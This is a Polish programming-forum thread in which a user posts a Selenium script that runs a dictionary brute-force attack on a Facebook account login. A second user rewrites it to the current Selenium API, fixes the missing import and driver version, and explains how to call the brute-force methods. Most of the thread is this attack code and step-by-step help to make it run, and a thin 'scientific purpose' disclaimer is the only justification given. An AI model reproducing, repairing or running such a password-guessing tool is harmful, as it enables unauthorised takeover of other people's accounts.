• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

jak naprawić poniższy błąd kodu?

Object Storage Arubacloud
0 głosów
352 wizyt
pytanie zadane 15 listopada 2022 w Bezpieczeństwo, hacking przez Mario11987 Nowicjusz (120 p.)
print("****************************************************************************************************")
print("BREAKING IN IS ILLEGAL!/ WŁAMYWANIE SIĘ JEST NIELEGALNE!")
print("The project was created for a scientific purpose, to check u2f operation)")
print("Projekt powstał w celu naukowym, mającym sprawdzenie działania uwierzytelniania dwu/wieloetapowego.")
print("****************************************************************************************************")
print("")
print("")
print("")
login = input('Please eneter login: ')
browser = webdriver.Chrome()
browser.get('https://www.facebook.com/login.php')


class Attack:

    def addlogin(self):
        # locate xpath and send login.
        time.sleep(2)
        self.button_cookie = browser.find_element_by_id('u_0_c_7w')
        time.sleep(0.5)
        self.button_cookie.click()
        self.button_cookie_accept = browser.find_element_by_id('u_0_j')
        time.sleep(0.5)
        self.button_cookie_accept.click()
        time.sleep(2)
        self.button_username = browser.find_element_by_xpath('//*[@id="email"]')
        self.button_username.click()
        time.sleep(0.5)
        self.button_username.send_keys(login)
        time.sleep(0.5)

    def FbBruteForceDictionary(self):
        # this function has a special task:
        # 1. Locate xpath form "password"
        # 2. Send key from dictionary.
        # 3. Locate xpath button login and click.

        login_attempt = 0
        with open("dict.txt", "r") as file:
            lines = file.readlines()
        for line in lines:
            self.button_password = browser.find_element_by_xpath('//*[@id="pass"]')
            self.button_password.click()
            time.sleep(2)
            self.button_password.send_keys(line)

            self.button_login = browser.find_element_by_xpath('//*[@id="loginbutton"]')
            self.button_login.click()
            login_attempt = login_attempt + 1
            print("____________________________________________________________")
            print(' Login attempt', login_attempt, ' with key/password : ', line)
            print("____________________________________________________________")


Please eneter login: kowalski@wp.pl
Traceback (most recent call last):
  File "C:\Users\PC\PycharmProjects\seleniumpython\facebookBruteForce.py", line 62, in <module>
    p.addlogin()
  File "C:\Users\PC\PycharmProjects\seleniumpython\facebookBruteForce.py", line 25, in addlogin
    self.button_cookie = browser.find_element_by_id('u_0_c_7w')
AttributeError: 'WebDriver' object has no attribute 'find_element_by_id'
 

Jak naprawić powyższy błąd ? Ponieważ element by id jest zmienny 

1 odpowiedź

+1 głos
odpowiedź 15 listopada 2022 przez toko Dyskutant (7,670 p.)

Z tego co teraz na szybko wygooglowałem, wydaje mi się, że od którejś wersji nie ma już funkcji find_element(s)_by_*, jest tylko find_element(s)(By.{po czym chcesz szukać}, {tu wartość}). Do tego musisz zaimportować: from selenium.webdriver.common.by import By

komentarz 16 listopada 2022 przez Mario11987 Nowicjusz (120 p.)
Rozumiem w takim układzie jak zmodernizować kod aby działał poprawnie?
komentarz 16 listopada 2022 przez toko Dyskutant (7,670 p.)

Właśnie ci napisałem w odpowiedzi. Musisz zamienić wszystkie funkcje find_element(s)_by_{po-czym-szukasz}({wartość}), na find_element(s)(By.{po-czym-szukasz}, {wartość}) oraz zaimportować: from selenium.webdriver.common.by import By

komentarz 16 listopada 2022 przez Mario11987 Nowicjusz (120 p.)
Czy mogłbym poprosic o meila do Pana gdyż jestem poczatkujacym programista. Rozumiem Pana objasnienia natomiast nie wiem do konca jak zastosować to w praktyce. Na jaki element to zamienić na jaka wartość dokładnie.
komentarz 16 listopada 2022 przez toko Dyskutant (7,670 p.)

Nie widzę większego sensu podawać meila. Jeśli tego nie rozumiesz, nie wiesz co masz zamienić, to nawet ci poprawię ten kod, ale obawiam się, że przy stanie wiedzy jaki prezentujesz, nie będziesz umiał nic dalej z tym zrobić, ani napisać nic własnego do tego. Myślę też, że to nie jest twój kod, a jedynie jakieś kawałki pokopiowane z internetu i próbujesz się bawić nim w "hakera", bo w ten sposób chyba raczej się zbytnio nigdzie nie włamiesz. Polecam jakiś kurs dla baaaardzo baaaardzo baaaardzo początkujących "programistów".

from selenium.webdriver.common.by import By

print("****************************************************************************************************")
print("BREAKING IN IS ILLEGAL!/ WŁAMYWANIE SIĘ JEST NIELEGALNE!")
print("The project was created for a scientific purpose, to check u2f operation)")
print("Projekt powstał w celu naukowym, mającym sprawdzenie działania uwierzytelniania dwu/wieloetapowego.")
print("****************************************************************************************************")
print("")
print("")
print("")
login = input('Please eneter login: ')
browser = webdriver.Chrome()
browser.get('https://www.facebook.com/login.php')
 
 
class Attack:
 
    def addlogin(self):
        # locate xpath and send login.
        time.sleep(2)
        self.button_cookie = browser.find_element(By.ID, 'u_0_c_7w')
        time.sleep(0.5)
        self.button_cookie.click()
        self.button_cookie_accept = browser.find_element(By.ID, 'u_0_j')
        time.sleep(0.5)
        self.button_cookie_accept.click()
        time.sleep(2)
        self.button_username = browser.find_element(By.XPATH, '//*[@id="email"]')
        self.button_username.click()
        time.sleep(0.5)
        self.button_username.send_keys(login)
        time.sleep(0.5)
 
    def FbBruteForceDictionary(self):
        # this function has a special task:
        # 1. Locate xpath form "password"
        # 2. Send key from dictionary.
        # 3. Locate xpath button login and click.
 
        login_attempt = 0
        with open("dict.txt", "r") as file:
            lines = file.readlines()
        for line in lines:
            self.button_password = browser.find_element(By.XPATH, '//*[@id="pass"]')
            self.button_password.click()
            time.sleep(2)
            self.button_password.send_keys(line)
 
            self.button_login = browser.find_element(By.XPATH, '//*[@id="loginbutton"]')
            self.button_login.click()
            login_attempt = login_attempt + 1
            print("____________________________________________________________")
            print(' Login attempt', login_attempt, ' with key/password : ', line)
            print("____________________________________________________________")
komentarz 16 listopada 2022 przez Mario11987 Nowicjusz (120 p.)
Dziękuję Panu łaskawcy za poświęcony czas Pan też był kiedyś bardzoooo bardzoooo początkujący fakt faktem nie znam Pythona znam tylko c arduino HTML i CSS ale spokojnie nadrobię zaległości
komentarz 16 listopada 2022 przez toko Dyskutant (7,670 p.)
Sorry, ale wygląda na to, że sam nie wkleiłeś nawet błędu do googla, bo jak ja wkleiłem to w 1. linku była odpowiedź na problem. Nawet pięciu minut mi to nie zajęło. Ponadto, kiedy napisałem że masz zamienić wszystkie funkcje takie na inne to się zapytałeś co masz zrobić.
komentarz 16 listopada 2022 przez Mario11987 Nowicjusz (120 p.)
Nie jestem tu po to aby się kłócić problem pozostał taki ze w 12 linijce jest komunikat webdriver is not defined ściągnąłem webdrivera do swojej wersji Chrome  ale nie działa nadal
komentarz 16 listopada 2022 przez toko Dyskutant (7,670 p.)
A gdzie go deklarujesz lub importujesz? To są naprawdę podstawy podstaw. Nie będę poprawiał wszystkich błędów po kolei. Myślałem, że gdzieś to importujesz i używasz klasy (tylko tu nie wstawiłeś), ponieważ błąd pochodził z użycia. Poprawiłem tylko ten fragment, nie domyślałem się co masz dalej/wcześniej i nie dopisałem. Poczytaj proszę jakieś wprowadzenie do Pythona i myśl.
komentarz 16 listopada 2022 przez Mario11987 Nowicjusz (120 p.)
Proszę Pana sterownik jest tam gdzie być powinien czyli w folderze razem z projektem tam gdzie również jest słownik txt. Wszystko się otwierało po wpisaniu loginu tylko był problem z elementem id. Teraz jak jest naprawiony ten problem to przeglądarka nawet się nie uruchamia
komentarz 16 listopada 2022 przez toko Dyskutant (7,670 p.)
Na pewno podałeś CAŁY kod który używasz? To NIE MIAŁO PRAWA zadziałać, jeśli to był cały kod, a uruchamiałeś tak jak poprawiony.
komentarz 16 listopada 2022 przez Mario11987 Nowicjusz (120 p.)
Tak skopiowałem cały kod ctr +a +c +v później jak zmienił pan ten kod skopiowałem Pana i wkleiłem zamiast tamtego
komentarz 16 listopada 2022 przez toko Dyskutant (7,670 p.)

Cóż, coś musiałeś zmienić. Kiedy włączam twój kod (ten co podałeś w pytaniu), to też wyskakuje ten błąd. W każdym razie, żeby działało musisz zaimportować: from selenium import webdriver

komentarz 16 listopada 2022 przez Mario11987 Nowicjusz (120 p.)
edycja 16 listopada 2022 przez Mario11987
Please eneter login: kowalski@wp.pl
Traceback (most recent call last):
  File "C:\Users\PC\PycharmProjects\seleniumpython\facebookBruteForce.py", line 13, in <module>
    browser = webdriver.Chrome()
  File "C:\Users\PC\PycharmProjects\seleniumpython\venv\lib\site-packages\selenium\webdriver\chrome\webdriver.py", line 69, in __init__
    super().__init__(DesiredCapabilities.CHROME['browserName'], "goog",
  File "C:\Users\PC\PycharmProjects\seleniumpython\venv\lib\site-packages\selenium\webdriver\chromium\webdriver.py", line 92, in __init__
    super().__init__(
  File "C:\Users\PC\PycharmProjects\seleniumpython\venv\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 272, in __init__
    self.start_session(capabilities, browser_profile)
  File "C:\Users\PC\PycharmProjects\seleniumpython\venv\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 364, in start_session
    response = self.execute(Command.NEW_SESSION, parameters)
  File "C:\Users\PC\PycharmProjects\seleniumpython\venv\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 429, in execute
    self.error_handler.check_response(response)
  File "C:\Users\PC\PycharmProjects\seleniumpython\venv\lib\site-packages\selenium\webdriver\remote\errorhandler.py", line 243, in check_response
    raise exception_class(message, screen, stacktrace)
selenium.common.exceptions.SessionNotCreatedException: Message: session not created: This version of ChromeDriver only supports Chrome version 108
Current browser version is 107.0.5304.107 with binary path C:\Program Files\Google\Chrome\Application\chrome.exe
Stacktrace:
Backtrace:
	(No symbol) [0x003FE563]
	(No symbol) [0x00387FC1]
	(No symbol) [0x0027D04D]
	(No symbol) [0x0029F6B4]
	(No symbol) [0x0029A97C]
	(No symbol) [0x002982E9]
	(No symbol) [0x002CF056]
	(No symbol) [0x002CEB2A]
	(No symbol) [0x002C8386]
	(No symbol) [0x002A163C]
	(No symbol) [0x002A269D]
	GetHandleVerifier [0x00699B82+2658722]
	GetHandleVerifier [0x0068CB84+2605476]
	GetHandleVerifier [0x004A825A+620666]
	GetHandleVerifier [0x004A6E80+615584]
	(No symbol) [0x003905EC]
	(No symbol) [0x00395958]
	(No symbol) [0x00395A45]
	(No symbol) [0x003A050B]
	BaseThreadInitThunk [0x76CEFA29+25]
	RtlGetAppContainerNamedObjectPath [0x779A7A7E+286]
	RtlGetAppContainerNamedObjectPath [0x779A7A4E+238]

Problem z webdriverem jednak zaktualizuje przeglądarkę do wersji 108 i powinno być ok

komentarz 16 listopada 2022 przez toko Dyskutant (7,670 p.)
edycja 16 listopada 2022 przez toko
To musisz prawdopodobnie zainstalować starszą wersję webdrivera (dla Chrome 107). Aktualizacja Chrome do wersji 108 też powinna zadziałać.
komentarz 17 listopada 2022 przez Mario11987 Nowicjusz (120 p.)

witam!Witam !

Po zatwierdzeniu plików cookies nic się nie dzieje program nie wstawia loginu i nie dopasowuje haseł .

zaden bład nie wyskakuje 

 

komentarz 17 listopada 2022 przez toko Dyskutant (7,670 p.)
A gdzie to robisz? W tym kodzie tylko otwierasz przeglądarkę i deklarujesz klasę. Nigdzie nie wywołujesz funkcji do wpisywania loginu i haseł.
komentarz 17 listopada 2022 przez Mario11987 Nowicjusz (120 p.)
Nie no w kodzie odpalam run zielonym przyciskiem po wpisaniu meila witryna Facebooka sama się otwiera ale nic się nie dzieje
komentarz 17 listopada 2022 przez toko Dyskutant (7,670 p.)

Gdzie w kodzie masz zielony przycisk, którym odpalasz run smiley? Bo ja żadnego przycisku w kodzie nie widzę laugh.

W kodzie najpierw importujesz biblioteki, potem prosisz użytkownika o login, następnie otwierasz stronę fb i deklarujesz klasę. Nigdzie nie tworzysz obiektu klasy i nie wywołujesz funkcji addlogin ani FbBruteForceDictionary. (przy okazji: chyba cała ta klasa i funkcje nie mają sensu)

komentarz 17 listopada 2022 przez Mario11987 Nowicjusz (120 p.)

No przecież jest Pan ekspertem w Pythonie i nie wie Pan jak się odpala program nie z konsoli? laughW prawym górnym rogu w pasku menu

komentarz 17 listopada 2022 przez toko Dyskutant (7,670 p.)
Nie używam do Pythona żadnego IDE i ogólnie zazwyczaj piszę w C++, ale nie chodziło mi o to jak uruchamiasz program, tylko napisałeś, że ODPALASZ W KODZIE ZIELONYM PRZYCISKIEM RUN. Żadnego przycisku w kodzie nie ma, RUN w kodzie też nie widzę, co najwyżej w jakimś IDE, w którym piszesz.

A jeśli ciągle nie wiesz co poprawić, to chyba powinieneś zrobić coś w tym stylu:

attack = Attack()
attack.addlogin()
attack.FBBr....()
komentarz 17 listopada 2022 przez Mario11987 Nowicjusz (120 p.)
Piszę w PyCharm
komentarz 8 grudnia 2022 przez Arnold4509 Użytkownik (860 p.)

@toko, Dzięki za pomoc, miałem podobny problem. Pozdrawiam :)

92,568 zapytań

141,424 odpowiedzi

319,634 komentarzy

61,956 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Kolejna edycja największej imprezy hakerskiej w Polsce, czyli Mega Sekurak Hacking Party odbędzie się już 20 maja 2024r. Z tej okazji mamy dla Was kod: pasjamshp - jeżeli wpiszecie go w koszyku, to wówczas otrzymacie 40% zniżki na bilet w wersji standard!

Więcej informacji na temat imprezy znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...